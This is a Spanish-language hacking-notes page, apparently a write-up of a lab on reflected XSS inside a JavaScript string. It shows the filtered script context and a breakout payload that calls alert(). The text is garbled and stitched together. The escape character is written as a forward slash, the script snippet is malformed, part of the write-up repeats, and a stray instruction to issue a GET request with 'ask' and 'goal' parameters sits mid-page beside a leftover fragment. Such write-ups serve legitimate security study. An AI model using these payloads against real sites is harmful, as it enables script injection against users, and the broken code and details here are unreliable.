> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/xss-in-a-javascript-string-with-encoded-angle-brackets-encoded-double-quotes-and-escaped-apostrophe.md).
# XSS en una cadena JavaScript con signos de menor y mayor codificados, comillas dobles codificadas y apóstrofo escapado
### XSS reflejado en una cadena de JavaScript con signos de menor y mayor y comillas dobles codificados en HTML y comillas simples escapadas
Este laboratorio contiene una vulnerabilidad de XSS reflejado: el valor de búsqueda se inserta en una cadena de JavaScript. `<`/`>` y las comillas dobles se codifican en HTML, y las comillas simples se escapan. Objetivo: Salir de la cadena de JavaScript y llamar `alert()`.
Fragmento del script observado
```javascript
var searchTerms = '</h1>/'';
document.write('');
```
Restricciones observadas
* La comilla simple se escapa (`/'`).
```javascript
test'
```
Carga útil proporcionada
```javascript
test/'+alert(0);//
```
---
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Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/es/web/xss/xss-in-a-javascript-string-with-encoded-angle-brackets-encoded-double-quotes-and-escaped-apostrophe.md?ask=&goal=
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+'){kind=tracking}
');
```
Restricciones observadas
* La comilla simple se escapa (`/'`).
```javascript
test'
```